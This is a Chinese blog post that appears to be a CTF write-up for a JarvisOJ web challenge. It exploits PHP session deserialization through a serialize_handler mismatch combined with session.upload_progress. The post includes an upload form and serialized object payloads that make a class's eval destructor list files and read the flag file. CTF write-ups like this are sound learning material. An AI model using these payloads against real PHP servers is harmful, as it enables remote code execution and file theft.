jarvisoj-web的一道SESSION反序列化题目

哈哈哈,现学现卖。刚刚总结了session序列化漏洞。现在就来做一下这个题目
还是参考师傅博客。
题目地址

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

看代码前面是ini_set(‘session.serialize_handler’, ‘php’);
肯定要利用这个点。
而我们传递?phpinfo就会出现phpinfo页面
思路是:我们找一个可以利用php_serialize添加session的方法。在通过php的序列化进行解析从而形成漏洞。

这里参考Chybeta师傅的一个姿势:
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。
但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

我们就构造上传页面进行上传

#upload.php
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
#poc.php
<?php
class OowoO
{
    public $mdzz="system('ls');";
}
$obj = new OowoO();
echo serialize($obj);
?>
#O:5:"OowoO":1:{s:4:"mdzz";s:13:"system('ls');";}

payload:为防止转义,在引号前加上
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:13:\"system('ls');\";}

方法:将filename改成payload

失败!可能是禁止用了system函数,我们在phpinfo里面可以看到

使用:print_r(scandir(dirname(__FILE__)));
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

之后通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]

最后使用print_r(file_get_contents());
payload
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

最后获得flag

总结:主要思想
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。
但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

拓展:这个题的思想一点点像wmctf make php great again

参考
https://blog.csdn.net/nzjdsds/article/details/82703639?utm_source=app

posted @ 2020-08-14 15:07  Firebasky  阅读(622)  评论(0编辑  收藏  举报